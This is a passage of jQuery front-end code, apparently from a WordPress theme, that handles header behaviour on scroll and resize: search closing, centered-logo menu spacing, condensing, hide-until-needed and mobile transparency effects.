							$(this).setCursorPosition(0);
						}
					});
					
					
					// Close search btn event.
					$body.on('click', '#close', function () {
						closeSearch();
						$searchButtonEl.removeClass('open-search');
						$('#header-outer .mobile-search').removeClass('open-search');
						return false;
					});
					
					// Original and Ascend skin close search when clicking off.
					$('body:not(.material)').on('blur', '#search-box input[type=text]', function () {
						closeSearch();
						$searchButtonEl.removeClass('open-search');
						$('#header-outer .mobile-search').removeClass('open-search');
					});
					
					
					// Material skin close when clicking off the search.
					$('body.material').on('click', '#ajax-content-wrap', function (e) {
						if (e.originalEvent !== undefined) {
							closeSearch();
							$searchButtonEl.removeClass('open-search');
							$('#header-outer .mobile-search').removeClass('open-search');
						}
					});
					
					// Material skin close on esc button event.
					if ($('body.material').length > 0) {
						$(document).on('keyup', function (e) {
							
							if (e.keyCode == 27) {
								closeSearch();
								$searchButtonEl.removeClass('open-search');
								
								// Close ocm material
								if ($('.ocm-effect-wrap.material-ocm-open').length > 0) {
									$('.slide-out-widget-area-toggle.material-open a').trigger('click');
								}
							}
							
						});
					}
					

				
					// Called to hide the search bar.
					function closeSearch() {
						
						if ($body.hasClass('ascend') || $('body[data-header-format="left-header"]').length > 0 && $('body.material').length == 0) {
							$('#search-outer').stop().transition({
								'opacity': 0
							}, 300, 'cubic-bezier(0.2, 1, 0.3, 1)');
							$searchButtonEl.addClass('inactive');
							setTimeout(function () {
								$('#search-outer').hide();
								$searchButtonEl.removeClass('inactive');
							}, 300);
						} else if ($('body.material').length == 0) {
							$('#search-outer').stop(true).fadeOut(450, 'easeOutExpo');
						}
						
						if ($body.hasClass('material')) {
							$('#ajax-content-wrap').removeClass('material-open');
							$headerOuterEl.removeClass('material-search-open');
							$('#search-outer').removeClass('material-open');
							$('#fp-nav').removeClass('material-ocm-open');
						}
						
					}
				
				}
				
				
			
			
			
				
				/**
				 * Header layout "Centered header bottom bar" functionality. 
				 *
				 * @since 9.0
				 */
				function centeredNavBottomBarReposition() {
					
					var $headerOuter      = $headerOuterEl,
					$headerSpan9          = $('#header-outer[data-format="centered-menu-bottom-bar"] header#top .span_9'),
					$headerSpan3          = $('#header-outer[data-format="centered-menu-bottom-bar"] header#top .span_3'),
					$secondaryHeader      = $headerSecondaryEl,
					$headerBtns           = $headerSpan3.find('nav >ul.buttons'),
					$navLogoMargin        = parseInt($('body.material #header-outer').attr('data-padding')),
					$navLogoHeight        = parseInt($('body.material #header-outer').attr('data-logo-height')),
					$triggerCondition     = ($navLogoMargin*2) + $navLogoHeight - parseInt(nectarDOMInfo.adminBarHeight) + parseInt(nectarDOMInfo.secondaryHeaderHeight);
					
					if ($secondaryHeader.length > 0) {
						
						if ($('#header-outer[data-remove-fixed="1"]').length == 0 && $('#header-outer[data-condense="true"]').length > 0) {
							setTimeout(function () {
								nectarDOMInfo.secondaryHeaderHeight = $headerSecondaryEl.outerHeight();
							}, 50);
						}
						
					}
					
					// Helper to determine if custom mobile breakpoint is active.
					function condenseCustomBreakPointHelper() {
						var $withinCustomBreakpoint = mobileBreakPointCheck();
						
						// Adding class to prevent logo from hiding when opening OCM
						if ( $withinCustomBreakpoint ) {
							$headerOuterEl.addClass('within-custom-breakpoint');
						} else {
							$headerOuterEl.removeClass('within-custom-breakpoint');
						}
					}
					
					
					// Bind events if "Condense Header On Scroll" effect is enabled.
					if ($('#header-outer[data-condense="true"]').length > 0) {
						
						$window.on('scroll.centeredNavCondense', centeredNavBottomFixed_Scroll);
						$window.trigger('scroll');
						
						$window.on('resize', function(){
							if(nectarDOMInfo.winW < 1000 ) {
								$headerOuter.addClass('force-condense-remove');
								$window.off('scroll.centeredNavCondense');
							}
						});
						
						$window.smartresize(function () {
							condenseCustomBreakPointHelper();
							
							if(nectarDOMInfo.winW >= 1000 ) {

								// Coming from mobile.
								if($headerOuter.hasClass('force-condense-remove')) {

									// Remove condense effect.
									centeredNavBottomFixed_Scroll();
									$headerOuter.removeClass('force-condense-remove');
									
									// See if the condense effect needs to be reapplied.
									setTimeout(function() {
										
										if(nectarDOMInfo.scrollTop >= $triggerCondition) {
											$headerOuter.addClass('force-condense');
											centeredNavBottomFixed_Scroll();
											$headerOuter.removeClass('force-condense');
										}
										// Bind scroll event.
										$window.on('scroll.centeredNavCondense', centeredNavBottomFixed_Scroll);
									},200);
	
								}
							}
							
						}); 
						
						condenseCustomBreakPointHelper();
						
					}
					
					
					
					function centeredNavBottomFixed_Scroll() {
						
						// Bypass calculating.
						if (nectarDOMInfo.winW < 1000 || 
							$('body.material-ocm-open').length > 0 || 
							$('#header-outer[data-has-menu="true"][data-format="centered-menu-bottom-bar"] .span_9').css('display') == 'none') {
							return;
						}
						
						$bodyBorderTop = ($bodyBorderTop.length > 0 && nectarDOMInfo.secondaryHeaderHeight > 0) ? $bodyBorderTop.height() : 0;
						
						// Add condense effect.
						if ($headerOuter.hasClass('force-condense') || !$headerOuter.hasClass('fixed-menu') && nectarDOMInfo.scrollTop >= $triggerCondition) {
			
							var amountToMove = (parseInt($headerSpan9.position().top) - $navLogoMargin - parseInt(nectarDOMInfo.adminBarHeight)) + parseInt(nectarDOMInfo.secondaryHeaderHeight) - $bodyBorderTop;
							
							// Megamenu removes transparency option
							if ($('#header-outer[data-megamenu-rt="1"]').length > 0 && $('#header-outer .megamenu').length > 0 && $('#header-outer[data-transparent-header="true"]').length > 0) {
								$headerOuterEl.removeClass('no-transition');
							}
							
							$headerOuter.addClass('fixed-menu').removeClass('transparent').css({
								'top': '-' + amountToMove + 'px',
								'position': 'fixed'
							});
							
							var $headerNavBarOffset  = $('header#top .span_9 nav >ul').offset().top;
							var $headerButtonsOffset = $headerBtns.offset().top;
						
							
							var $headerButtonsHeight = ($headerSpan9.find('.sf-menu > li > a').length > 0) ? (20 - parseInt($headerSpan9.find('.sf-menu > li > a').height())) / 2 : 2;
							
							$headerBtns.css('transform', 'translateY(' + (parseInt($headerNavBarOffset) - parseInt($headerButtonsOffset) - $headerButtonsHeight - 1) + 'px)');
							$headerBtns.find('.nectar-woo-cart').css('height', $headerOuter.height() + parseInt($headerOuter.css('top')) - parseInt(nectarDOMInfo.adminBarHeight));
							
						} 
						
						// Remove condense effect.
						else if ($headerOuter.hasClass('force-condense-remove') || $headerOuter.hasClass('fixed-menu') && nectarDOMInfo.scrollTop < $triggerCondition ) {
							
							$headerOuter.removeClass('fixed-menu').css({
								'top': '0',
								'position': 'absolute'
							});

							$headerBtns.css('transform', 'translateY(0px)');
							$headerBtns.find('.nectar-woo-cart').css('height', '');
							
							if ($('#header-outer.transparent').length == 0) {
								
								if ($('#header-outer[data-megamenu-rt="1"]').length > 0 && 
								$('#header-outer .megamenu').length > 0) {
									$headerOuterEl.removeClass('no-transition');
								}
								
								if ($('#header-outer[data-megamenu-rt="1"]').length > 0 && 
								$('#header-outer[data-transparent-header="true"]').length > 0 && 
								$('#header-outer .megamenu').length > 0) {
									
									if ($headerOuterEl.attr('data-transparent-header') == 'true' && 
									$('.nectar-box-roll').length == 0 && 
									$('.megamenu.sfHover').length == 0) {
										
										$headerOuterEl.addClass('transparent');
										$headerOuterEl.removeClass('no-transition');
										
									} 
									else if ($headerOuterEl.attr('data-transparent-header') == 'true' && 
									$('.nectar-box-roll').length == 0 && 
									$('.megamenu.sfHover').length > 0) {
										
										$headerOuterEl.addClass('no-transition');
									}
									
								} 
								
								else {
									if ($headerOuterEl.attr('data-transparent-header') == 'true' && $('.nectar-box-roll').length == 0) {
										$headerOuterEl.addClass('transparent');
									}
								}
								
							} // endif transparent header conditional.

							
						} // End Remove condense effect.
						
					} // End centeredNavBottomFixed_Scroll.
					
	
					
				}
				
				
				
				
				/**
				 * Header layout "Centered header bottom bar" initialization. 
				 *
				 * @since 10.5
				 */
				function centeredNavBottomBarInit() {
					
					if ($('#header-outer[data-format="centered-menu-bottom-bar"]').length > 0) {
						centeredNavBottomBarReposition();
					}
					
				}	
					
				
				
				
				
				/**
				* Header layout "Centered logo between menu".
				*
				* Splits the main navigation menu into two sections placed on each side of logo.
				*
				* @since 8.0
				*/
				function centeredLogoMargins() {
					
					if (nectarDOMInfo.winW > 1000) {
						
						var $navItemLength = $('#header-outer[data-format="centered-logo-between-menu"] #top nav > .sf-menu:not(.buttons) > li').length;
						
						if ($('#header-outer #social-in-menu').length > 0) {
							$navItemLength--;
						}
						
						var $centerLogoWidth,
						$extraMenuSpace;
						
						if ($('#header-outer #top .row .col.span_3 #logo img:visible').length == 0) {
							$centerLogoWidth = parseInt($('#header-outer #top .row .col.span_3').width());
						} else {
							$centerLogoWidth = parseInt($('#header-outer #top .row .col.span_3 img:visible').width());
						}
						
						if ($('#header-outer[data-lhe="animated_underline"]').length > 0) {
							$extraMenuSpace = parseInt($('header#top nav > ul > li:first-child > a').css('margin-right'));
						} else {
							$extraMenuSpace = parseInt($('header#top nav > ul > li:first-child > a').css('padding-right'));
						}
						
						if ($extraMenuSpace > 30) {
							$extraMenuSpace += 45;
						} else if ($extraMenuSpace > 20) {
							$extraMenuSpace += 40;
						} else {
							$extraMenuSpace += 30;
						}
						
						if (!$body.hasClass('rtl')) {
							$('#header-outer[data-format="centered-logo-between-menu"] #top nav > .sf-menu:not(.buttons) > li:nth-child(' + Math.floor($navItemLength / 2) + ')').css({
								'margin-right': ($centerLogoWidth + $extraMenuSpace) + 'px'
							}).addClass('menu-item-with-margin');
						} else {
							$('#header-outer[data-format="centered-logo-between-menu"] #top nav > .sf-menu:not(.buttons) > li:nth-child(' + Math.floor($navItemLength / 2) + ')').css({
								'margin-left': ($centerLogoWidth + $extraMenuSpace) + 'px'
							}).addClass('menu-item-with-margin');
						}
						
						var $leftMenuWidth 	= 0;
						var $rightMenuWidth = 0;
						
						$('#header-outer[data-format="centered-logo-between-menu"] #top nav > .sf-menu:not(.buttons) > li:not(#social-in-menu)').each(function (i) {
							if (i + 1 <= Math.floor($navItemLength / 2)) {
								$leftMenuWidth += $(this).width();
							} else {
								$rightMenuWidth += $(this).width();
							}
							
						});
						
						var $menuDiff = Math.abs($rightMenuWidth - $leftMenuWidth);
						
						if ($leftMenuWidth > $rightMenuWidth || ($body.hasClass('rtl') && $leftMenuWidth < $rightMenuWidth) ) {
							$('#header-outer #top .row > .col.span_9').css('padding-right', $menuDiff);
						} else {
							$('#header-outer #top .row > .col.span_9').css('padding-left', $menuDiff);
						}
						
						$('#header-outer[data-format="centered-logo-between-menu"] nav').css('visibility', 'visible');
						
					} 
					
					else if ($('#header-outer[data-format="centered-logo-between-menu"]').length > 0 && nectarDOMInfo.winW < 1000) {
						$('#header-outer .row > .col.span_9').css({
							'padding-right': '0',
							'padding-left': '0'
						});
					}
					
				}
				
				
				/**
				* Header layout "Centered logo between menu" initialization.
				*
				* @since 10.5
				*/
				function centeredLogoHeaderInit() {
					
					if($('#header-outer[data-format="centered-logo-between-menu"]').length > 0) {
						
						if(!usingLogoImage) {
							centeredLogoMargins();
						}
						else if(usingLogoImage && $('#header-outer[data-format="centered-logo-between-menu"]').length > 0 && $('header#top #logo img:first[src]').length > 0) {
							
							//fadein img on load
							var tempLogoImg = new Image();
							tempLogoImg.src = $('header#top #logo img:first').attr('src');
							
							tempLogoImg.onload = function() {
								centeredLogoMargins();
							};
							
						}
						
						// Resize event.
						$window.on('smartresize', centeredLogoMargins);
						
					}
					
				}
				
				
				
				
				
				
				
				
				/**
				* Handle basic items before initializing effects.
				*
				* @since 10.5
				*/	
				function headerNavPreInit() {
					
					// Deactivate hide header until needed effect on mobile.
					if (nectarDOMInfo.usingMobileBrowser && $('#header-outer[data-remove-fixed="1"]').length == 0) {
						$body.attr('data-hhun', '0');
					}
					
					// Page fullscreen rows does not need permanent transparent.
					if ($('#nectar_fullscreen_rows').length > 0) {
						($headerOuterEl.attr('data-permanent-transparent', 'false'));
					}
					
					// Set mobile header height.
					if (nectarDOMInfo.usingMobileBrowser && $('#header-outer[data-mobile-fixed="1"]').length > 0 && 
					$('#header-outer[data-transparent-header="true"]').length == 0) {
						$('#header-space').css('height', $headerOuterEl.outerHeight());
					}
					
				}
				
				

				
				
				
				/**
				* Hide header until needed.
				*
				* Used when "Header Hide Until Needed" is active.
				*
				* @since 10.5
				*/	
				function hhunHeaderEffect() {
					
					var previousScroll  = 0, // previous scroll position
					menuOffset          = 250, // height of menu (once scroll passed it, menu is hidden)
					hideShowOffset      = 6; // scrolling value after which triggers hide/show menu
					
					// Called in RAF loop to calculate the header visibility.
					function hhunCalcs() {
						
						$headerOuterEl.addClass('detached');
						
						var currentScroll = nectarDOMInfo.scrollTop, // Gets current scroll position
						scrollDifference 	= Math.abs(currentScroll - previousScroll); // Calculates how fast user is scrolling
						
						// Stop scrolling while animated anchors / box roll
						if ($('body.animated-scrolling').length > 0 && $('#header-outer.detached').length > 0 || $('body.no-scroll').length > 0) {
							
							if (nectarDOMInfo.winW > 999) {
								
								if (currentScroll > menuOffset) {
									
									// Alter scroll tracking to continue hiding menu.
									previousScroll = nectarDOMInfo.scrollTop;
									currentScroll = nectarDOMInfo.scrollTop;
										
								}
								
								requestAnimationFrame(hhunCalcs);
								return;
							}
						}
						
						// Stop when material ocm or material search is open
						if ($('body.material-ocm-open').length > 0 || $('#search-outer.material-open').length > 0) {
							if (nectarDOMInfo.winW > 999) {
								requestAnimationFrame(hhunCalcs);
								return;
							}
						}
						
						// Stop on mobile if not using sticky option
						if ($('#header-outer[data-mobile-fixed="false"]').length > 0 && $('body.mobile').length > 0) {
							$headerOuterEl.removeClass('detached');
							return;
						}
						
						
						
						if (!$headerOuterEl.hasClass('side-widget-open') && !$('#header-outer .slide-out-widget-area-toggle a').hasClass('animating')) {
							
							var heightToAdjust;
							
							// Remove transparent and body border margin
							if (currentScroll > 1) {
								if ($('#header-outer[data-permanent-transparent="1"]').length == 0) {
									$headerOuterEl.removeClass('transparent');
									$headerOuterEl.addClass('scrolling');
								}
								
								// Handle secondary header
								if ($headerSecondaryEl.length > 0) {
									if (currentScroll > menuOffset) {
										$headerSecondaryEl.addClass('hide-up');
										$headerOuterEl.css('transform', 'translateY(-' + nectarDOMInfo.secondaryHeaderHeight + 'px)');
									} else {
										$headerSecondaryEl.removeClass('hide-up');
										$headerOuterEl.css('transform', '0px)');
									}
								}
								
							}
							
							// Scrolled past menu
							if (currentScroll > menuOffset) {
								
								// Scrolled past detach point add class to fix menu
								if (!$headerOuterEl.hasClass('detached')) {
									
									$headerOuterEl
										.addClass('detached')
										.removeClass('parallax-contained');
								}
								
								$headerOuterEl.removeClass('no-transition');
								
								
								// Scrolling faster than hideShowOffset hide/show menu
								if (scrollDifference >= hideShowOffset) {
									
									if (currentScroll > previousScroll) {
										
										// Hide menu
										if (!$headerOuterEl.hasClass('invisible')) {
											
											$headerOuterEl
												.addClass('invisible')
												.removeClass('at-top');
											
											// Close submenus
											if ($(".sf-menu").length > 0 && $().superfish) {
												$(".sf-menu").superfish('hide');
												$('header#top nav > ul.sf-menu > li.menu-item-over').removeClass('menu-item-over');
											}
											
										}
										
										$('.page-submenu.stuck')
											.css('transform', 'translateY(0px)')
											.addClass('header-not-visible');

									} else {
										
										// Show menu
										if ($headerOuterEl.hasClass('invisible')) {
											$headerOuterEl.removeClass('invisible');
										}
										
										// Page submenu adjust
										heightToAdjust = $headerOuterEl.outerHeight();
										
										if( $headerSecondaryEl.length > 0) {
											heightToAdjust -=	nectarDOMInfo.secondaryHeaderHeight;
										}
	
										if ($bodyBorderTop.length > 0 && $('body.mobile').length == 0) {
											
											$bodyBorderSizeToRemove = ($bodyBorderHeaderColorMatch) ? $bodyBorderTop.height() : 0;
										
											$('.page-submenu.stuck')
												.css('transform', 'translateY(' + (heightToAdjust - $bodyBorderSizeToRemove) + 'px)')
												.removeClass('header-not-visible');
											
										} else {
											$('.page-submenu.stuck')
												.css('transform', 'translateY(' + heightToAdjust + 'px)')
												.removeClass('header-not-visible');
										}
										
									}
								}
								
							} else {
								
		
								var $topDetachNum = ($('#header-outer[data-using-secondary="1"]').length > 0) ? 32 : 0;
								if ($bodyBorderTop.length > 0) {
									$topDetachNum = ($('#header-outer[data-using-secondary="1"]').length > 0) ? 32 + $bodyBorderTop.height() : $bodyBorderTop.height();
								}
								
								if (currentScroll <= $topDetachNum) {
									
									$headerOuterEl
										.addClass('at-top')
										.removeClass('invisible')
										.removeClass('scrolling');
									
									if ($('#header-outer[data-megamenu-rt="1"]').length > 0 && 
									$('#header-outer[data-transparent-header="true"]').length > 0 && 
									$('#header-outer .megamenu').length > 0) {
										
										if ($('#header-outer[data-transparent-header="true"]').length > 0 && 
										$('.nectar-box-roll').length == 0 && 
										$('.megamenu.sfHover').length == 0) {
											
											$headerOuterEl
												.addClass('transparent')
												.css('transform', 'translateY(0)')
												.removeClass('no-transition');
											
										} else if ($('.nectar-box-roll').length > 0) {
											
											$headerOuterEl
												.css('transform', 'translateY(0)')
												.addClass('at-top-before-box');
										}
										
									} else {
										
										if ($('#header-outer[data-transparent-header="true"]').length > 0 && 
										$('.nectar-box-roll').length == 0) {
											
											$headerOuterEl
												.addClass('transparent')
												.css('transform', 'translateY(0)');
												
										} else if ($('.nectar-box-roll').length > 0) {
											
											$headerOuterEl
												.css('transform', 'translateY(0)')
												.addClass('at-top-before-box');
										}
									}
									
									if ($('#page-header-bg[data-parallax="1"]').length > 0) {
										
										$headerOuterEl
											.addClass('parallax-contained')
											.css('transform', 'translateY(0)');
									}
									
								}
								
							}
							
							// At the bottom of document - show menu
							if ((nectarDOMInfo.winH + window.scrollY) >= document.body.offsetHeight) {
								
								$headerOuterEl.removeClass('invisible');
								
								// Page submenu adjust
								heightToAdjust = $headerOuterEl.outerHeight();
								if( $headerSecondaryEl.length > 0) {
									heightToAdjust -=	nectarDOMInfo.secondaryHeaderHeight;
								}
								
								if ($bodyBorderTop.length > 0 && $('body.mobile').length == 0) {
									
									$bodyBorderSizeToRemove = ($bodyBorderHeaderColorMatch) ? $bodyBorderTop.height() : 0;
									$('.page-submenu.stuck')
										.css('transform', 'translateY(' + (heightToAdjust - $bodyBorderSizeToRemove) + 'px)')
										.removeClass('header-not-visible');
								} else {
									
									$('.page-submenu.stuck')
										.css('transform', 'translateY(' + heightToAdjust + 'px)')
										.removeClass('header-not-visible');
								}
								
							}
							
						}
						
						// Keep track of current scroll position
						previousScroll = currentScroll;
						
						if (nectarDOMInfo.winW > 999) {
							requestAnimationFrame(hhunCalcs);
						}
						
					}
					
					// Start the animation loop.
					hhunCalcs();
					
				}
				
		

				/**
				* Shrink the header navigation size.
				*
				* Used when "Header Resize On Scroll" is active.
				*
				* @since 1.0
				*/	
				function smallNav() {
					
					var $offset          = nectarDOMInfo.scrollTop,
					$windowWidth         = nectarDOMInfo.winW,
					$scrollTriggerOffset = ($body.is('.material')) ? 150 : 30;
					
					if ($offset > $scrollTriggerOffset && $windowWidth >= 1000 && $('body.material-ocm-open').length == 0) {
						
						
						// Going to small when material search is closing, it must be closed immediately
						if ($body.is('.material')) {
							
							if ($('#search-outer.material-open').length == 0) {
								$('#header-outer[data-transparent-header="true"] .bg-color-stripe').css('transition', 'none');
							}
							
							// Secondary header
							if ($headerSecondaryEl.length > 0) {
								$headerSecondaryEl.addClass('hide-up');
								$headerOuterEl.css('transform', 'translateY(-' + nectarDOMInfo.secondaryHeaderHeight + 'px)');
							}
							
						}
						
						if ($('#header-outer[data-megamenu-rt="1"]').length > 0 && 
						$('#header-outer[data-transparent-header="true"]').length > 0 && 
						$('#header-outer .megamenu').length > 0) {
							
							if ($headerOuterEl.attr('data-transparent-header') == 'true' && 
							$('#header-outer.side-widget-open').length == 0 && 
							$('#header-outer[data-permanent-transparent="1"]').length == 0 && 
							$('.megamenu.sfHover').length == 0) {
								$headerOuterEl.removeClass('transparent');
								$headerOuterEl.removeClass('no-transition');
							}
							
						} else {
							
							if ($headerOuterEl.attr('data-transparent-header') == 'true' && 
							$('#header-outer.side-widget-open').length == 0 && 
							$('#header-outer[data-permanent-transparent="1"]').length == 0) {
								$headerOuterEl.removeClass('transparent');
							}
							
						}
						
						$('#header-outer, #search-outer').addClass('small-nav');
						
						// Body border full width side padding
						if ($('#header-outer[data-full-width="true"][data-transparent-header="true"]').length > 0 && 
						$bodyBorderTop.length > 0 && 
						$bodyBorderHeaderColorMatch == true) {
							
							$('#header-outer[data-full-width="true"] header > .container').stop(true, true).animate({
								'padding': '0'
							}, {
								queue: false,
								duration: 250,
								easing: 'easeOutCubic'
							});
							
						}
						
						if ($('body.material').length > 0) {
							$('header#top nav > ul > li.menu-item-with-margin').stop(true, true).animate({
								'margin-right': (parseInt($('header#top nav > ul > li.menu-item-with-margin').css('margin-right')) - parseInt(logoShrinkNum) * 3) + 'px'
							}, {
								queue: false,
								duration: 310,
								easing: 'easeOutQuad'
							});
						}
						
						// Box roll effect
						if ($('.nectar-box-roll').length > 0 && $('#header-outer[data-permanent-transparent="1"]').length == 0) {
							$('#ajax-content-wrap').animate({
								'margin-top': (Math.floor(($logoHeight - logoShrinkNum) + (headerPadding * 2) / 1.8 + nectarDOMInfo.adminBarHeight + nectarDOMInfo.secondaryHeaderHeight))
							}, {
								queue: false,
								duration: 250,
								easing: 'easeOutCubic'
							});
						}
					
						$window.off('scroll.headerResizeEffect', smallNav);
						$window.on('scroll.headerResizeEffect', bigNav);
						
						// Dark slider coloring border 
						$('#header-outer[data-transparent-header="true"]').css('transition', 'transform 0.3s ease, background-color 0.30s ease, opacity 0.3s ease, box-shadow 0.30s ease, margin 0.25s ease-out');
						$('#header-outer[data-transparent-header="true"] .cart-menu').css('transition', 'none');
						setTimeout(function () {
							$('#header-outer[data-transparent-header="true"]').css('transition', 'transform 0.3s ease, background-color 0.30s ease, opacity 0.3s ease, box-shadow 0.30s ease, border-color 0.30s ease, margin 0.25s ease-out');
							$('#header-outer[data-transparent-header="true"] .cart-menu').css('transition', 'border-color 0.30s ease');
						}, 300);
						
					}
					
				}
				
				
				/**
				* Return header navigation size to full.
				*
				* Used when "Header Resize On Scroll" is active.
				*
				* @since 1.0
				*/	
				function bigNav() {
					
					var $offset          = nectarDOMInfo.scrollTop,
					$windowWidth         = nectarDOMInfo.winW,
					$scrollTriggerOffset = ($body.is('.material')) ? 150 : 30;
					
					if ($body.is('.material-ocm-open')) {
						return false;
					}
					
					if ($offset <= $scrollTriggerOffset && $windowWidth >= 1000 || $('.small-nav').length > 0 && $('#ajax-content-wrap.no-scroll').length > 0) {
						
						$('#header-outer, #search-outer').removeClass('small-nav');
						
						if ($('#header-outer[data-megamenu-rt="1"]').length > 0 && 
						$('#header-outer[data-transparent-header="true"]').length > 0 && 
						$('#header-outer .megamenu').length > 0) {
							
							if ($headerOuterEl.attr('data-transparent-header') == 'true' && 
							$('.nectar-box-roll').length == 0 && 
							$('.megamenu.sfHover').length == 0) {
								
								$headerOuterEl.addClass('transparent');
								$headerOuterEl.removeClass('no-transition');
							}
							
						} else {
							
							if ($headerOuterEl.attr('data-transparent-header') == 'true' && $('.nectar-box-roll').length == 0) {
								$headerOuterEl.addClass('transparent');
							}
							
						}
						
						// Body border full width side padding
						if ($('#header-outer[data-full-width="true"][data-transparent-header="true"]').length > 0 && 
						$bodyBorderTop.length > 0 && 
						$bodyBorderHeaderColorMatch == true) {
							
							$('#header-outer[data-full-width="true"] header > .container').stop(true, true).animate({
								'padding': '0 28px'
							}, {
								queue: false,
								duration: 250,
								easing: 'easeOutCubic'
							});
							
						}
						
						
						if ($('body.material').length > 0) {
							
							$('header#top nav > ul > li.menu-item-with-margin').stop(true, true).animate({
								'margin-right': (parseInt($('header#top nav > ul > li.menu-item-with-margin').css('margin-right')) + parseInt(logoShrinkNum) * 3) + 'px'
							}, {
								queue: false,
								duration: 140,
								easing: 'easeOutQuad'
							});
							
						}
						
						
						// Secondary header
						if ($headerSecondaryEl.length > 0) {
							
							$headerSecondaryEl.removeClass('hide-up');
							$headerOuterEl
								.removeClass('hide-up')
								.css('transform', 'translateY(0%)');
								
						}
						
						// Box roll
						if ($('.nectar-box-roll').length > 0 && $('#header-outer[data-permanent-transparent="1"]').length == 0) {
							$('#ajax-content-wrap').animate({
								'margin-top': (Math.floor(($logoHeight) + (headerPadding * 2) + nectarDOMInfo.adminBarHeight + nectarDOMInfo.secondaryHeaderHeight))
							}, {
								queue: false,
								duration: 250,
								easing: 'easeOutCubic'
							});
						}
						
						$window.off('scroll.headerResizeEffect', bigNav);
						$window.on('scroll.headerResizeEffect', smallNav);
						
						// Dark slider coloring border
						$('#header-outer[data-transparent-header="true"]').css('transition', 'transform 0.3s ease, background-color 0.30s ease, opacity 0.3s ease, box-shadow 0.30s ease, margin 0.25s ease-out');
						$('#header-outer[data-transparent-header="true"] .cart-menu').css('transition', 'none');
						setTimeout(function () {
							$('#header-outer[data-transparent-header="true"]').css('transition', 'transform 0.3s ease, background-color 0.30s ease, opacity 0.3s ease, box-shadow 0.30s ease, border-color 0.30s ease, margin 0.25s ease-out');
							$('#header-outer[data-transparent-header="true"] .cart-menu').css('transition', 'border-color 0.30s ease');
						}, 300);
					}
					
				}
				
				
				
				/**
				* Default scroll event to handle transparency/secondary header when no header effects are enabled.
				*
				* @since 4.0
				*/	
				function opaqueCheck() {
					
					// The condense header effect will bypass this unless in the custom mobile breakpoint (which is defined in theme options).
					if ($('#header-outer[data-format="centered-menu-bottom-bar"][data-condense="true"]').length > 0 && !$headerOuterEl.hasClass('within-custom-breakpoint') ) {
						return;
					}
					
					if (nectarDOMInfo.scrollTop > 0) {
						
						if ($('body.material').length > 0) {
							$headerOuterEl.addClass('scrolled-down');
							
							// Secondary header
							if ($headerSecondaryEl.length > 0 && nectarDOMInfo.winW > 1000) {
								$headerSecondaryEl.addClass('hide-up');
								$headerOuterEl.css('transform', 'translateY(-' + nectarDOMInfo.secondaryHeaderHeight + 'px)');
							}
						}
						
						if ($headerOuterEl.attr('data-transparent-header') == 'true' && $('#header-outer[data-permanent-transparent="1"]').length == 0) {
							$headerOuterEl.removeClass('transparent').addClass('scrolled-down');
						}
						
						// Switch event to watch.
						$window.off('scroll.headerResizeEffectOpaque', opaqueCheck);
						$window.on('scroll.headerResizeEffectOpaque', transparentCheck);
					}
				}
				
				
				/**
				* Default scroll event to handle transparency/secondary header when no header effects are enabled.
				*
				* @since 4.0
				*/	
				function transparentCheck() {
					
					// The condense header effect will bypass this unless in the custom mobile breakpoint (which is defined in theme options).
					if ($('#header-outer[data-format="centered-menu-bottom-bar"][data-condense="true"]').length > 0 && !$headerOuterEl.hasClass('within-custom-breakpoint') ) {
						return;
					}
					
					if (nectarDOMInfo.scrollTop == 0 && $('body.material-ocm-open').length == 0) {
						
						if ($('#header-outer[data-megamenu-rt="1"]').length > 0 && 
						$('#header-outer[data-transparent-header="true"]').length > 0 && 
						$('#header-outer .megamenu').length > 0) {
							
							if ($headerOuterEl.attr('data-transparent-header') == 'true' && $('.megamenu.sfHover').length == 0) {
								
								$headerOuterEl
									.addClass('transparent')
									.removeClass('scrolled-down');
									
								$headerOuterEl.removeClass('no-transition');
								
							} else if ($headerOuterEl.attr('data-transparent-header') == 'true') {
								
								$headerOuterEl.removeClass('scrolled-down');
							}
							
						} else {
							
							if ($headerOuterEl.attr('data-transparent-header') == 'true') {
								$headerOuterEl
									.addClass('transparent')
									.removeClass('scrolled-down');
							}
							
						}
						
						if ($('body.material').length > 0) {
							$headerOuterEl.removeClass('scrolled-down');
							
							// Secondary header
							if ($headerSecondaryEl.length > 0 && nectarDOMInfo.winW > 1000) {
								
								$headerSecondaryEl.removeClass('hide-up');
								$headerOuterEl
									.removeClass('hide-up')
									.css('transform', 'translateY(0%)');
							}
						}
						
						// Switch event to watch.
						$window.off('scroll.headerResizeEffectOpaque', transparentCheck);
						$window.on('scroll.headerResizeEffectOpaque', opaqueCheck);
					}
					
				}
				
				
				

				/**
				* Mobile header event for handling transparency/secondary header.
				*
				* @since 10.5
				* @see bindScrollEffectsMobile
				*/	
				function mobileHeaderRAF() {
					
					if ($('body.material-ocm-open').length > 0) {
						requestAnimationFrame(mobileHeaderRAF);
						return;
					}
					// Scrolled down.
					if (nectarDOMInfo.scrollTop > 80) {
						
						if (!$headerOuterEl.is('[data-permanent-transparent="1"]')) {
							$headerOuterEl.removeClass('transparent');
						}
						
						if (nectarDOMInfo.secondaryHeaderHeight > 0) {
							$headerSecondaryEl.addClass('hide-up');
							$headerOuterEl.css('transform', 'translateY(-' + nectarDOMInfo.secondaryHeaderHeight + 'px)').addClass('hidden-secondary');
						} else {
							$headerOuterEl.removeClass('hidden-secondary');
						}
						
					} 
					// At top.
					else {
						
						if ($headerOuterEl.is('[data-transparent-header="true"]')) {
							$headerOuterEl.addClass('transparent');
						}
						
						if (nectarDOMInfo.secondaryHeaderHeight > 0) {
							$headerSecondaryEl.removeClass('hide-up');
							$headerOuterEl.css('transform', 'translateY(0px)');
						}
						$headerOuterEl.removeClass('hidden-secondary');
						
					}
					
					if (nectarDOMInfo.winW < 1000) {
						requestAnimationFrame(mobileHeaderRAF);
					}
				}
				
				
				
				/**
				* Bind mobile header scroll effects.
				*
				* @since 10.5
				* @see headerNavScrollInit
				*/	
				function bindScrollEffectsMobile() {
					
					if (nectarDOMInfo.winW > 999) {
						return;
					}
					
					// Unbind desktop effects.
					$window.off('scroll.headerResizeEffect');
					$window.off('scroll.headerResizeEffectOpaque');
					
					// Remove HHUN classes.
					$headerOuterEl
						.removeClass('scrolled-down')
						.removeClass('detached')
						.removeClass('invisible')
						.removeClass('at-top')
						.css('transform', 'none');
					
					// Handle mobile transparent class.
					if ($('#header-outer[data-mobile-fixed="1"]').length > 0) {
						requestAnimationFrame(mobileHeaderRAF);
					} else if ($headerOuterEl.attr('data-transparent-header') == 'true') {
						$headerOuterEl.addClass('transparent');
					}
					
					$window.off('smartresize.nectarNavScrollEffects');
